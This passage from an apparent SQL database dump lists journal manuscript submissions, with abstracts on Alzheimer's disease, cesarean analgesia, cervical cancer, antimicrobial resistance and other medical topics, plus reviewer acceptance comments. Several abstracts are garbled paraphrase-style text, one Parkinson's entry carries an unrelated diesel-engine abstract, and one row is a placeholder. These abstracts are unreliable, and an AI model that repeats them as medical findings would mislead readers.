dolor.\r\nResultados:\r\nDe acuerdo con el P-valor del análisis de varianza para cada una de las horas en que fueron evaluado el dolor, Se encontró diferencia estadísticamente significativa en aquellas pacientes que estuvieron en movimiento durante el periodo o estancia en recuperación después del procedimiento (6 horas), además se encontró p=0.043 en quienes mantuvieron movimiento a las 48 horas.\r\nConclusiones: \r\nSe encontraron menores puntuaciones de dolor según la escala EVA, en las pacientes a las que se les realizó cesárea con anestesia raquídea más morfina intratecal como coadyuvante analgésico y que además recibieron bloqueo TAP; durante el periodo de recuperación inicial (6 horas) y a las 48 horas estando en movimiento.\r\n','Palabras clave: Cesárea, Morfina intratecal, Bloqueo del plano transverso del abdomen, Dolor post-operatorio.',2805,NULL,'2022-07-12',NULL,'Submitted',2,NULL,'2022-09-07',NULL,1,1,'1','Aceptar y publicar el artículo sin cambios\r\n\r\nSaludos,\r\nOscar',0,'','',NULL,0,0,0,NULL,0),(12856,13079,73,0,'ipjnn-22-12856','ALZHEIMER’S DISEASE - A NEURODEGENERATIVE FIGHT !',NULL,15,0,'','To quote...these piece of words are dedicated to all Alzheimers\' Chevalier…\r\n\r\n“Alzheimer\'s is not about the past - the successes, the accolades, the accomplishments. Alzheimer\'s is about the present and the struggle, the scrappy bowl, the fight to live with a disease”.\r\nAlzheimer’s disease may cause a person to become confused, get lost in familiar places, misplace things, or have trouble with language. Groups of nerve cells have special jobs. Some are involved in thinking, learning and memory. Others help us see, hear, smell and tell our muscles when to move. Brain cells operate like tiny factories. They receive supplies, generate energy, construct equipment and get rid of waste. Cells also process and store information and communicate with other cells.\r\nKeeping everything running requires coordination as well as large amounts of fuel and oxygen. Scientists believe Alzheimer\'s disease prevents parts of a cell\'s factory from running well. But just like a real factory, backups and breakdowns in one system cause problems in other areas. As damage spreads, cells lose their ability to do their jobs and, eventually, die.\r\nThe brains of individuals with Alzheimer\'s have an abundance of plaques and tangles. Plaques are deposits of a protein fragment called beta-amyloid that build up in the spaces between nerve cells. Tangles are twisted fibers of another protein called tau that builds up inside cells. Though autopsy studies show that most people develop some plaques and tangles as they age, those with Alzheimer\'s tend to develop far more and in a predictable pattern, beginning in the areas important for memory before spreading to other regions.\r\nScientists do not know exactly what role plaques and tangles play in Alzheimer\'s disease. Most experts believe that they disable or block communication among nerve cells and disrupt processes the cells need to survive.The destruction and death of nerve cells causes memory failure, personality changes, problems in carrying out daily activities and other symptoms of Alzheimer\'s disease.\r\n','Alzheimer’s, Plagues, Tangles, Beta-amyloid, Tau, Autopsy',330,NULL,'2022-07-13',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12858,12576,73,0,'ipjnn-22-12858','?-Amyloid Peptide and the Alzheimer’s Disease',NULL,14,0,'?-Amyloid Peptide and the Alzheimer’s Disease','The formation and deposition of the -amyloid peptide (A) are largely thought to be responsible for the development of Alzheimer\'s disease (AD). Researchers have been perplexed by the sluggish to nonexistent association between the degree of clinical dementia and the amount of neuritic plaque disease in the human brain for a long time. This question has been resolved thanks to recent developments in our knowledge of the origins of amyloid disease. The solubility of A and the amount of A in various pools may now be more directly tied to disease state, according to substantial evidence. The make-up of these pools of A reflects various populations of amyloid deposits and is clearly correlated with the patient\'s clinical condition. Using imaging methods, such as novel amyloid imaging agents based on the chemical makeup of histology dyes, it is now possible to monitor the development of the disease in a living patient while also monitoring the amyloid pathology. It\'s interesting that these methods show that the A deposited in AD differs from that discovered in animal models. In general, deposited A does not exhibit the same physical and biochemical properties as the amyloid observed in AD and is more readily removed from the brain in animal studies. Important questions about the creation and evaluation of potential medicinal agents are brought up by this.','Amyloid, ?-Amyloid Precursor Protein, A?, Oligomer, Fibril',330,NULL,'2022-07-13',NULL,'Submitted',2,NULL,'2022-09-21',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12859,13081,73,0,'ipjnn-22-12859','Role of Neurological and Neuropsychiatric Comorbidities in the Long-Term Outcome of Severe Paediatric Feeding and Eating Disorders – Parent perspectives',NULL,14,0,'','Aim\r\nTo examine the long-term outcome of severe paediatric feeding and eating disorders as perceived by their caregivers in relation to predominant areas of comorbidities in the neurodevelopmental and behavioural field.\r\nMethods\r\nA sample of 103 patients (ICD-10 F98.2, age below 7 years, all previously referred for a four-week inpatient eating intervention between 2009 and 2016) was followed up by a parent questionnaire with the target parameters being age-appropriate eating and long-term improvement (Likert scale 1-10).\r\nFour comorbidity subgroups were compared: 1) neurological comorbidities (“Neuro-group”, n=28), 2) behavioural comorbidities (“Psy-group”, n=24), 3) developmental delay without severe neurological or behavioural disorders (“DD-group”, n=22) and 4) without any neurodevelopmental or behavioural disorders (non-DNP-group, n=29).\r\nResults\r\nAfter a mean follow-up period of 3.5 years (n=103), the non-DNP-group (normal development and low rate of comorbidities) achieved the best outcome. The Neuro-group had the least age-appropriate eating behaviour on follow-up, while their caregivers experienced good life satisfaction and surprisingly low burden of disease; they were similarly satisfied with previous treatment as caregivers of non-DNP-group. Caregivers of Psy-group described a better outcome than those from the Neuro- and DD-group, however lowest satisfaction and felt highest burden of the child eating problems.\r\nConclusions\r\nFeeding and eating disorders are persisting for a long time in children with disabilities. It seems that caregivers of children with neurological disabilities adequately lowered their outcome expectations and developed better coping strategies. This stays in contrast to caregivers of children with behavioural disorders.\r\n','Infantile eating disorders – developmental disabilities – behavioural disorders – autism spectrum disorder - cerebral palsy - neurogenetic syndromes',5398,NULL,'2022-07-13',NULL,'Submitted',2,NULL,'2022-07-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12860,13082,959,0,'ipacr-22-12860','Immunohistological Analysis of Cervical Cancer in Patients',NULL,2,2,'','Our aim was to understand and analyse the expression intensity of selectively a singular gene (in our case, FANCC) which is a part of the DNA Damage response pathways associated with cervical cancer. We performed Immunohistochemistry of six different slides obtained from CNCI hospital, out of which 3 were normal samples, while three were tumour samples. We analysed the expression intensity pattern for BRCA1, BRCA2, FANCC, FANCD2, DNMT1, DNMT2, MLH1 and MLH2 and primarily focused on FANCC in this report.\r\nFANCC (Fanconi Anaemia complementation group)/FANC is a damage repair gene associated with the Homologous recombination repair pathway (HRR) that provides specific instructions for making a particular protein that is involved in one of the Fanconi Anaemia pathway. The FA pathway is activated when the process of DNA replication is blocked due to DNA damage, specifically interstrand cross-links. \r\nImmunohistochemistry (IHC) is a laboratory method for detecting antigens in cells of a tissue section by exploiting the principle of antibodies binding specifically to antigens in biological tissues. IHC is widely used in many research and clinical laboratories because this technique makes it possible to visualize the distribution and localization of specific cellular components within cells.\r\nIt was observed that protein predominantly localises around the nucleus in normal samples whereas it localises around the nucleus and cytoplasm in tumour samples. Additionally, the intensity of expression increases from basal-parabasal to spinous in normal samples and intensity of expression decreases as a whole in tumour samples. This further indicated that the stem cell property of basal parabasal of normal cervical epithelium is reflected in cervical lesion sample. This opens for further investigation where we can link the high expression activity of FANCC with progression cervical cancer. This will give us new therapeutic targets and eventually can be used for medical purposes in the future.','Cancer, cervical cancer, biology, DNA damage, Pathways, Immunocytochemistry, Cancer therapy',5400,NULL,'2022-07-16',NULL,'Submitted',14,NULL,'2022-12-05',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12861,13083,73,0,'ipjnn-22-12861','Godtfredsen Syndrome- A Rare Combination',NULL,2,0,'','Godtfredsen syndrome is a rare clinical manifestation of concomitant sixth and twelfth cranial nerve palsies. It was first reported by Eric Godtfredsen in 1946 relating to metastatic nasopharyngeal carcinoma.  Modern imaging modalities have been able to reveal that clival lesions are most commonly associated with this rare presentation.  Our case highlights the importance of identifying this syndrome in an appropriate clinical setting for a prompt diagnosis and management. ','Rare, Cranial Nerve Palsy, Sixth and Twelfth Cranial Nerve Palsies, Clivus metastasis, Godtfredsen syndrome',335,NULL,'2022-07-16',NULL,'Submitted',2,NULL,'2022-09-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12862,13084,975,0,'ipjbs-22-12862','Serum antioxidant status of induced preeclamptic Wistar rats exposed to methanolic leaf extracts of some selected herbal plants',NULL,14,0,'','Preeclampsia is known to cause an accumulation of free radicals, putting the cells in a state of oxidative stress. Antioxidants are produced by cells as a defense mechanism against these stressors. Antioxidants are natural chemicals that can prevent or postpone various types of cell damage by acting as oxidative process inhibitors. Food and medicinal plants are the primary sources of antioxidants. The goal of this study was to see how methanolic leaf extracts of Jatropha curcas, Alchonnea cordifolia, and Secamone afzelii affected the antioxidant state in induced preeclamptic Wistar rats. Age-matched female Wistar rats weighing 220 to 256 g were used for the study. Preeclampsia was induced using the Adriamycin Model. When preeclampsia was confirmed in the induced Wistar rats by an increase in blood pressure from 124/98 mmHg to 177/121 mmHg, as well as significant proteinuria, the preeclamptic and control rats were administered methanolic extracts of Jatropha curcas, Alchornea cordifolia, and Secamone afzelii.  In Wistar rats, preclampsia resulted in a substantial decrease in gluthathione peroxidase activity (461.2 U/l). However, J. curcas administration considerably increased antioxidant activity (756.8 U/l), outperforming the reference medication (666.9 U/l). Malondialdehyde levels, which were elevated in preeclamptic rats (21.9 M), were considerably lowered when plant extracts (10.8 – 15.1 M, p0.05) were administered. Given that preeclampsia reduces antioxidant capacity in pregnant Wistar rats, treatment of plant extracts improved antioxidant status in preeclamptic Wistar rats, lowering oxidative stress in preeclamptic Wistar rats','antioxidants, preeclampsia, Jatropha curcas; Alchonnea cordifolia; Secamone afzelii',3460,NULL,'2022-07-19',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(12863,13085,277,0,'ipadm-22-12863','MANEJO ENDOSCOPICO EXITOSO DE COLEDOCOLITIASIS RESIDUAL EN EL EMBARAZO: REPORTE DE CASO',NULL,2,0,'','El estado de gestación genera una serie de cambios fisiológicos que aumentan el riesgo de patologías respecto a la mujer no gestante. A nivel de la vía biliar se produce estasis de sales biliares por lo que se aumenta la capacidad de generar litos. Sin embargo, la mayoría de pacientes son asintomáticas y responden de manera adecuada al manejo expectante y la terapia médica. La tasa de complicaciones es baja, siendo la colangitis aguda, la coledocolitiasis y la pancreatitis aguda la indicación de manejo invasivo en la paciente obstétrica. \r\nSe presenta un caso clínico de una paciente obstétrica con antecedente de colecistectomía que presento coledocolitiasis residual con posterior episodio de colangitis aguda e ictericia obstructiva que requirió manejo con colangiopancreatografia retrograda endoscópica. \r\n','Coledocolitiasis, Embarazo, Colangitis, Colangiopancreatografia retrograda endoscópica.',4680,NULL,'2022-07-19',NULL,'Submitted',2,NULL,'2022-09-07',NULL,1,1,'0','Artículo bien escrito, Aceptar y publicar el artículo sin cambios.',0,'','',NULL,0,0,0,NULL,0),(12864,13086,971,0,NULL,'ad',NULL,24,0,'awd','wad','awd',4009,NULL,'2022-07-19',NULL,'Submitted',4,NULL,'2022-08-17',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12865,13087,91,0,'ijddr-22-12865','A COMPARATIVE EVALUATION OF COST AND IN-VITRO STUDY BETWEEN BRANDED AND GENERIC MEDICINES',NULL,5,0,'','To compare and evaluate the price and quality of “branded” and branded-generic equivalents of some commonly used medicines manufactured by the different pharmaceutical company in India. Materials and Methods:  Two commonly used medicines: TELMISARTAN and ONDANSETRON manufactured in branded and branded-generic versions by the different company were selected. Price-to-patient and price-to-retailers were found for two “pair” of medicines. Both quantitative and qualitative analysis were performed following the methods prescribed in the Indian Pharmacopoeia on two “pair” of medicines. The tests performed were identification test, dissolution studies. Result & Conclusion Price-to-patient (MRP) for two branded medicines were in the range of 58-23% but for their branded-generics version manufactured by the same companies (PTR) was in the range of 160-16%. Retailer mark-ups for two “pair” of medicines for branded versus branded-generic: telmisartan and ondansetron were 38% versus 160%, 44% versus 16% respectively. Both versions of two medicines were within their permissible range for all the quantitative and qualitative parameters as prescribed in Indian Pharmacopoeia.','Branded medicines, branded-generic, generics, mark-ups, medicine price, India, quality testing, in-vitro, telmisartan, ondansetron',5033,NULL,'2022-07-19',NULL,'Submitted',2,NULL,'2022-08-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12866,13089,975,0,NULL,'THE ROLE OF BIOETHICS IN ANTIMICROBIAL RESISTANCE RESPONSE: THE COVID-19 PERSPECTIVE',NULL,15,0,'','Background: AMR, a global health risk continues to pose a public health challenge during COVID-19 due to increased use, misuse, and overuse of antimicrobials during the pandemic. This study, therefore, aims to explore the drivers of antimicrobial resistance during the COVID-19 pandemic and the role of bioethics in guiding actions against AMR.  Methods: Google Scholar and PubMed were used to retrieve articles published between 2019 and 2022, using search terms such as COVID-19 and antimicrobial resistance, co-infections in COVID-19 patients, including bioethics in COVID-19 response.  Result: Widespread empiric antibiotic therapy in the near absence of microbial co-infections was the most cited reason for the propagation of AMR in COVID-19 patients.  Due to unethical practices, AMR is at risk of being exacerbated by the COVID-19 pandemic. The resurfacing and indiscriminate use of antimicrobials for which resistance has been recorded are alarming. Although papers concentrating on applying ethical measures to the control of antimicrobial resistance during the pandemic were lacking, we have attempted to contextualise the role of bioethics in AMR response as it relates to the COVID-19 pandemic. Countries and regulatory bodies need to develop and establish the appropriate implementation of actions to ensure the judicious use of antimicrobials during the pandemic as well as check the questionable prescription practices of healthcare professionals through well-restructured antimicrobial stewardship programs in healthcare settings. Conclusion: The COVID-19 pandemic has brought about an upsurge in the use of antimicrobials and consequently, the exacerbation of the problem of AMR. Bioethics will definitely play a massive role in mitigating the spread of AMR in the face of the persistent COVID-19 pandemic.','Antimicrobial resistance, COVID-19, pandemic, bioethics',4873,NULL,'2022-07-22',NULL,'Submitted',4,NULL,'2022-07-27',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12867,13090,45,0,'iphsj-22-12867','Surgical management outcome of bowel obstruction and its associated factors at Asella teaching and referral hospital, eastern Ethiopia: a cross-sectional study',NULL,14,0,'','Background: Globally, bowel obstruction is a potentially risky surgical emergency in all age groups, linked with high morbidity and mortality. Management outcomes of bowel obstruction vary depending on geographic location. But there is a paucity of information in the study area. Therefore, this study was aimed to assess surgical management outcome of bowel obstruction and its associated factors at Asella Teaching and Referral Hospital.\r\nMethod: Hospital-based retrospective cross-sectional study was conducted among 222 patients surgically treated patients for bowel obstruction at Asella Referral and Teaching hospital between 1 February 2019 and 31 January 2021. Data were collected from August 1-30, 2021. A structured data extraction checklist was used to gather relevant data. Data were entered into EpiData version 3.1 and exported to the IBM SPSS statistics version 26 for analysis. Descriptive statistics were done to calculate frequencies.  Bivariate and multivariable logistic regression were employed to assess the association between dependent and independent variables. p< 0.05 was used to declare statistical significance and adjusted odds ratio with a respective 95% CI was used to determine the strength of association. \r\nResults: The magnitude of unfavourable surgical management outcome was 24.3%. Age  group of 15 and 40 years [AOR (95% CI)], [3.495 (1.053 – 11.596)], WBC count [AOR (95% CI)], [3.888 (1.225 – 12.338)], preoperative diagnosis of simple large bowel obstruction [AOR (95% CI)], [8.358 (1.194 – 58.501)], and intraoperative finding of gangrenous small bowel obstruction [AOR (95% CI)], [0.187 (0.045 – 0.777)] were significantly associated with surgical management outcome of bowel obstruction.\r\nConclusion: Significant numbers of patients experience unfavourable surgical management outcomes in the study area. Morbidity and mortality after surgical management of bowel obstruction vary with different determinant factors. Therefore, optimal infection prevention and patient safety practices should be implemented in the hospital setting.','Bowel obstruction, acute abdomen, outcome, treatment.   \r\n',643,NULL,'2022-07-22',NULL,'Submitted',2,NULL,'2022-09-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12868,13091,975,0,'ipjbs-22-12868','Current Perspectives on the Use of Platelet Rich Fibrin: Review',NULL,19,2,'','Aim: Research in dentistry and many other fields of medicine points to the clinical advantages of combining regenerative procedures with platelet-rich fibrin (PRF). This review aims to understand the clinical scenarios in which PRF can be used to increase tissue/bone formation and to collect many published articles about PRF in the dental field.\r\n\r\nMaterials and Methods: A literature search was done using Pubmed, Google Scholar, and Researchgate until August 2022.\r\n\r\nResults: PRF, which is involved in various fields in other branches of medicine, can be used in almost every area of dentistry, from endodontics, periodontology, and orthodontics to maxillofacial surgery. Thanks to its ease of application, it can be applied by many physicians, from surgeons to general practitioners.\r\n\r\nConclusion: PRF contains growth factors that support tissue healing and leukocytes involved in defense. With these properties, it has antibacterial and angiogenic effects. It is frequently preferred today because of its biocompatibility, reliability, low cost, and rapid recovery potential. It can be easily applied in many branches of medicine and dentistry. \r\n','history of PRF, regenerative methods for intrabony defects, extraction sockets, sinus lifting, gingival recession treatment, osteomyelitis, regenerative endodontics, guided bone regeneration, orthodontic tooth movements, desquamative lesions',3677,NULL,'2022-07-24',NULL,'Submitted',2,NULL,'2022-11-14',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12869,13092,975,0,'ipjbs-22-12869','Resolved structural biology studies',NULL,5,0,'','Cautious choice of photocaging approaches is basic to accomplish quick and all around synchronized response commencement and perform fruitful time-settled underlying science tests. This audit sums up the best portrayed and most important photocaging bunches recently depicted in the writing. It too gives a walkthrough of the fundamental variables to consider in planning a reasonable photocaged particle to resolve explicit organic inquiries, zeroing in on photocaging bunches with very much described spectroscopic properties. ','photocaging; subatomic level; ',4089,NULL,'2022-07-25',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12870,13093,975,0,'ipjbs-22-12870','Hereditary examination as an instrument for protein science',NULL,5,0,'','The sequencing of the principal human genome was conceivably portrayed as \"the absolute most significant venture in the biomedical sciences\" of its time. The accomplishments of the first task incorporate making the principal human genome map, growing new methodologies for sequencing DNA, progressing genomic preparing, and fabricating instruments for deciphering and contrasting hereditary information. Twenty years after the distribution of the principal human genome, the difficulties and open doors managed the cost of in deciphering human hereditary information stay noteworthy. ','biomedical sciences; prejudice examination',4089,NULL,'2022-07-25',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12871,13094,971,0,'ipaclr-22-12871','Simple Psychiatric Disorders Insomnia Indications is related with Metabolic Disorder',NULL,17,0,'','To examine the relationship between a sleeping disorder indications and metabolic disorder in patients with serious psychiatric clutters. Sleeping disorder side effects were evaluated by the Pittsburgh Rest Quality File The determination of metabolic disorder was characterized utilizing the unused Worldwide Diabetes Alliance definition based on clinical and research facility assessment. Inside extremely rationally sick patients, sleep deprivation indications are related with metabolic disorder and affront resistance. It shows up that a sleeping disorder indications are free clinical markers of basic metabolic disorder in patients with extreme psychiatric disarranges.','Insomnia symptoms, Severe psychiatric disorders, Insulin resistance, Metabolic syndrome',3236,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','Accept without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(12872,13095,85,0,'iphspr-22-12872',' Health Care System Performance Based on the Variation of Life Expectancy',NULL,5,0,'','Due to the impact that access to health care has on an economy, the necessity of a health care system Bloom; Ramesh; and Mirmirani The ultimate goal that Murray & Evans, are expected to achieve by society. For all political and managerial decision-makers about the health care system, it becomes extremely important to analyse how well health systems work in achieving this goal. Many nations have implemented reforms over the past 20 years with the goal of enhancing the effectiveness of their healthcare systems. It is challenging to evaluate the effectiveness of the health care system since different countries have varied definitions of the health system, its borders, and the metrics employed. Prior research on the examination of health spending, access to services, and outcomes for a set of nations, such as OECD countries, concentrated on the international comparison of the performance of health systems','geographical,correlations,eterminant,',4068,NULL,'2022-07-26',NULL,'Submitted',14,NULL,'2022-08-03',NULL,1,1,'1','Accxept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12873,13096,971,0,'ipaclr-22-12873','Patients with and without Mental Conditions: Risk Factors of COVID-19',NULL,25,0,'','Subjects with mental clutters are at a better chance of different widespread, but no particular considers concerning on screening and comparing the chance components of COVID-19 for subjects with and without mental disarranges, and the part of diverse classes of mental disarranges with regard to the COVID-19.There were critical interaction impacts between mental disarranges and age, sex, ethnicity, wellbeing appraisals, financial misfortune, way of life propensities or comorbidities on COVID-19 chance. Subjects with and without mental disarranges shared a few covering chance components of COVID-19, counting the non-white ethnicity, financial misfortune and comorbidities. Subjects without mental disarranges carry a few particular hazard and defensive components.','COVID-19, Risk factor, Interaction, Comorbidity',3249,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'0','Accept without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(12874,13097,85,0,'iphspr-22-12874','Dimensions in the Health Care by Management of Corporate Identify',NULL,5,2,'','This essay\'s study goal is to review the most recent literature on corporate identity, including its definition, dimensions, and general strategic management framework, with an emphasis on health care organisations like hospitals and private clinics. The paper\'s originality lies in its integration of the corporate identity concept framework with existing data on the administration of healthcare organisations. This essay examines research on corporate identity from both academics and internationally renowned experts in the field of corporate identity development.','health care, research methodology ,Dowling,distinctiveness.',3282,NULL,'2022-07-26',NULL,'Submitted',19,NULL,'2022-08-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,4,0,NULL,0),(12875,13098,85,0,'iphspr-22-12875','Health Care Delivery by Using Time Trade-Off Methods to Assess Preferences Over',NULL,5,2,'','For utility assessments of various health conditions to gauge quality of life, time trade-off methods are frequently employed. Even while the need to quantify these preferences is likely just as important, they have not typically been utilised to evaluate societal preferences with regard to options for the delivery of healthcare.','health conditions ,Arguably,treatment at home,Meticulously measured.',4068,NULL,'2022-07-26',NULL,'Submitted',19,NULL,'2022-08-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,4,0,NULL,0),(12876,13099,85,0,'iphspr-22-12876','Health Services and Policy Research by Reimagining',NULL,5,2,'','Health systems must modify their procedures and reduce their carbon emissions in order to address the climate crisis\' effects on human health. For these institutions to change, health services and policy (HSPR) is necessary. We describe an effort by HSPR trainees from throughout Canada to develop ideas for changing health systems to be more ecologically responsible. We describe how HSPR must integrate environmental sustainability.','Ecologically responsible,integrate environmental,Environment Adaptive Response .',4068,NULL,'2022-07-26',NULL,'Submitted',19,NULL,'2022-08-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,4,0,NULL,0),(12877,13100,85,0,'iphspr-22-12877','Impact of COVID-19 contact tracing effects on human resources for health',NULL,5,2,'','Dentistry is a medical specialist on detecting, treating, and treating oral and dental diseases as well as their complications. In order to address the challenge of oral illness, the World Dentistry Federation has released a \"call for global action\"1. Officially acknowledged by the United Nations as a component of the burden of chronic non-communicable diseases, and supported by publications on the Global Burden of Disease of the 291 oral conditions included in the 2010 investigation, untreated dental caries in permanent teeth has been the most prevalent4.','Dentistry is a medical, World Dentistry Federation ,oral diseases,\r\nhuman resources , Global Strategy.',3282,NULL,'2022-07-26',NULL,'Submitted',19,NULL,'2022-08-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,4,0,NULL,0),(12878,13101,667,0,'iptb-22-12878','A Short note on Parkinson’s disease By Translational Informatics.',NULL,5,2,'','In this study, a single-cylinder, four-stroke diesel engine underwent conjugate thermodynamics and dynamic modelling. The general state equation for ideal gases and the first law of thermodynamics were used to compute the gas pressure within the cylinder. The thermodynamic cycle\'s variance in heat delivered to the working fluid during the heating phase was modelled using the Gaussian function. The piston, conrod, and crankshaft motion equations make up the engine\'s dynamic model. Two translational and one angular motion equation were used to model Conrod motion. The Newton method was used to get the motion equations. Hydrodynamic and asperity frictions as well as gas forces will be included in motion equations ',' thermodynamics and dynamic modelling,Biomedical research, Neurodegeneration, genomic architecture,programmable injection system ',3933,NULL,'2022-07-26',NULL,'Submitted',19,NULL,'2022-08-10',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(12879,13102,667,0,'iptb-22-12879','Activation of Glutamate Cysteine Ligase with Dimercaprol: by Post-translational ',NULL,5,0,'','Most neurological illnesses exhibit fundamental hallmarks of neuroinflammation and oxidative stress. However, it still is uncertain whether and how redox pathways regulate neuroinflammation. We postulated that decreasing neuroinflammation would be attained by raising cellular glutathione levels. By using a unique method, the rate-limiting enzyme in GSH, a range of trial compounds has been shown to raise cellular GSH levels. A murine microglial cell line was evaluated for these minor trial-containing compounds\' capacity to raise intracellular GSH levels, while Dimercaprol was shown that the most potent molecule.','Neuroinflammation,Murine microglial ,neurotoxic insults.',3933,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12880,13101,667,0,'iptb-22-12880','A Short note on Parkinson ’s disease By Translational Informatics.',NULL,5,0,'','The prevalence and mortality of, a prevalent neurological condition that affects elderly individuals are rising as the world population ages. Huge data-based identification of minute actionable changes is replacing the conventional biomedical research paradigm of going from little data to big data. We cover big data and informatics for the translation of fundamental PD research to clinical applications in order to emphasise the use of big data for precision PD therapy.','genetic variations,diagnosis,Parkinson\'s disease, biotechnologies.',3933,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12881,13102,667,0,'iptb-22-12881','Humans by Translation Process which Induced by Pluripotent Stem Cells',NULL,5,0,'','The future of biomedical research has undergone a significant change as a result of the possibility of altering the flexibility of terminally differentiated cells toward pluripotency. Human-induced pluripotent stem cells offer a fresh source of therapeutic cells free of the moral quandaries or immunological restrictions associated with human embryonic stem cells. iPSCs also provide significant benefits over traditional approaches of studying human diseases. Three key uses of iPSC technology have emerged since its inception.','pluripotent stem cells,therapeutic cells,Disease modelling,adult fibroblasts.',3933,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12882,13103,667,0,'iptb-22-12882','Research in Oncology: By Anti-Cancer Therapies ',NULL,5,0,'','The improvement of cancer survival is significantly aided by comprehensive cancer centres. With the hope that many European CCCs will strive for this rank, we have created an Excellence Designation System across Europe that consists of criteria to evaluate \"excellence\" in translational research.','Translational research,Clinical research,Inter-cancer research.',3933,NULL,'2022-07-26',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12883,13089,975,0,'ipjbs-22-12883','The Role of Bioethics in Antimicrobial Resistance Response: The COVID-19 Perspective',NULL,15,2,'','Background: AMR, a global health risk continues to pose a public health challenge during the COVID-19 due to an increase in the use, misuse, and overuse of antimicrobials during the pandemic. This study, therefore, aims to explore the drivers of antimicrobial resistance during the COVID-19 pandemic and the role of bioethics in guiding actions against AMR.  Methods: Google Scholar and PubMed were used to retrieve articles published between 2019 and 2022, using search terms such as: COVID-19 and antimicrobial resistance, co-infections in COVID-19 patients, including bioethics in COVID-19 response.  Result: Widespread empiric antibiotic therapy in the near absence of microbial co-infections was the most cited reason for the propagation of AMR in COVID-19 patients.  AMR is at risk of being exacerbated by the COVID-19 pandemic due to unethical practices. The resurfacing and indiscriminate use of antimicrobials for which resistance has been recorded are alarming. Although papers concentrating on applying ethical measures to the control of antimicrobial resistance during the pandemic were lacking, we have attempted to contextualize the role of bioethics in AMR response as it relates to the COVID-19 pandemic. Countries and regulatory bodies need to develop and establish the appropriate implementation of actions to ensure the judicious use of antimicrobials during the pandemic as well as check the questionable prescription practices of healthcare professionals through well restructured antimicrobial stewardship programs in healthcare settings. Conclusion: The COVID-19 pandemic has brought about an upsurge in the use of antimicrobials and consequently, the exacerbation of the problem of AMR. Bioethic will definitely play a massive role in mitigating the spread of AMR in the face of the persistent the COVID-19 pandemic.','Antimicrobial resistance, COVID-19, pandemic, bioethics',4089,NULL,'2022-07-27',NULL,'Submitted',2,NULL,'2022-11-14',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12884,13104,91,0,'ijddr-22-12884','Evaluation of in-vitro anti-diabetic potential of Achyranthes aspera by α-amylase inhibition method',NULL,5,0,'','Many ideas have been drawn to employ plants therapeutically since the time of their ancient healing proclivity towards human health. The mythological profile of Achyranthes aspera reveals that it has been utilized to treat a variety of illnesses. In this study, Achyranthes aspera was standardized using a variety of in vitro analytical methods. Methanol was used to extract the dry powdered plant material, which was then treated with dichloromethane for liquid-liquid extraction. Furthermore, plant extracts (methanol and dichloromethane) were evaluated for antioxidant activity in vitro against the free radical DPPH. As connected with normal ascorbic acid, it was then measured for percent inhibition and inhibitory concentration (IC50). Maximum antioxidant efficacy was recorded with IC50 values 14.25 ± 0.013 μg/ml in methanol and 95.61 ± 0.015 μg/ml in dichloromethane extracts respectively. High performance liquid chromatography results showed 55.965% of quercetin which indicates the presence of flavonoid contents. The effective fractions (methanol and dichloromethane) were further investigated by in vitro α-amylase inhibitory activity for anti-diabetic potential and calculated in terms of percentage inhibition and IC50. Both extracts displayed substantial α-amylase inhibition activity, but the highest inhibition was observed with an IC50 21.58 ± 0.02 μg/ml in crude methanol extract. It is concluded that Achyranthes aspera can be used for isolation of novel compound which will be effective against diabetes mellitus (DM).','Achyranthes aspera, Anti-oxidant, Anti-Diabetic, DPPH Assay, α-amylase inhibition',3528,NULL,'2022-07-27',NULL,'Submitted',2,NULL,'2022-08-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12885,13105,975,0,'ipjbs-22-12885','SERUM PROTEIN AND SERUM ELECTROLYTE LEVELS IN MYELOPROLIFERATIVE DISORDER PATIENTS',NULL,5,0,'','The serum protein and serum electrolyte levels in 50 people confirmed to be suffering from myeloproliferative disorder in UNTH was assessed. For serum protein; Total protein, Albumin for and globulin were determined. For electrolytes; sodium ion, potassium ion, bicarbonate ion and chloride ion were also determined. For myeloproliferative disorder subjects, 26 were males 24 were females, for the non- myeloproliferative disorder, 10 were males and 10 were females. The mean for serum proteins were; For total protein 5.89 + 0.23, Albumin 2.83 + 1.0, globulin 2.29 + 0.23, for non-myeloproliferative subjects total protein 